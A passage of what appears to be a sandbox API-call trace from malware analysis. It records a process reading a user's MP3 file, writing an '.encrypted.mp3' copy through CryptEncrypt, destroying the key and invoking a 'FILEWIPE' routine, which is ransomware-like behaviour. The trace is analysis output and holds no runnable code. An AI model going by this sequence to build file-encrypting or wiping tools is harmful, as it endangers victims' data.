PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.763] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.763] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.763] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.763] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0026.763] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.764] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.764] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.764] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.764] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.764] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\7hpbkBpy8QXZhHut.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\7hpbkbpy8qxzhhut.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.764] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.764] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.765] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.765] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.765] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.765] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\" (normalized: "c:\\users\\5jghkoaofdp\\music")) returned 0x11 [0026.765] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\7hpbkBpy8QXZhHut.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\7hpbkbpy8qxzhhut.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.765] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.766] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.766] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.766] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.767] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.767] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x4c56, lpOverlapped=0x0) returned 1 [0026.768] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.770] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.770] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.770] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.770] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.770] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.771] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.771] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.771] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.771] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.772] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.772] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.772] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.772] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.772] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.772] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064ab0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ab0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.772] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.773] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.773] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.773] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.773] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4c56, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4c60) returned 1 [0026.773] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.774] CharLowerBuffW (in: lpsz="byte[19553]", cchLength=0xb | out: lpsz="byte[19553]") returned 0xb [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.774] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.774] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.774] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43838f0*, pdwDataLen=0xe8f3dfdf68*=0x4c56, dwBufLen=0x4c60 | out: pbData=0xe8f43838f0*, pdwDataLen=0xe8f3dfdf68*=0x4c60) returned 1 [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.774] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.774] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.774] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.775] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.775] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.775] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.775] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.775] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.775] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.775] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.777] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.777] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.777] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.777] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.777] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.777] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0026.777] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.777] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.777] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.778] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.778] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.778] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.778] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.778] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.778] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.778] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.778] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.778] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.778] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.778] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.779] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.779] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.779] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.779] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.779] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.779] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.780] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, 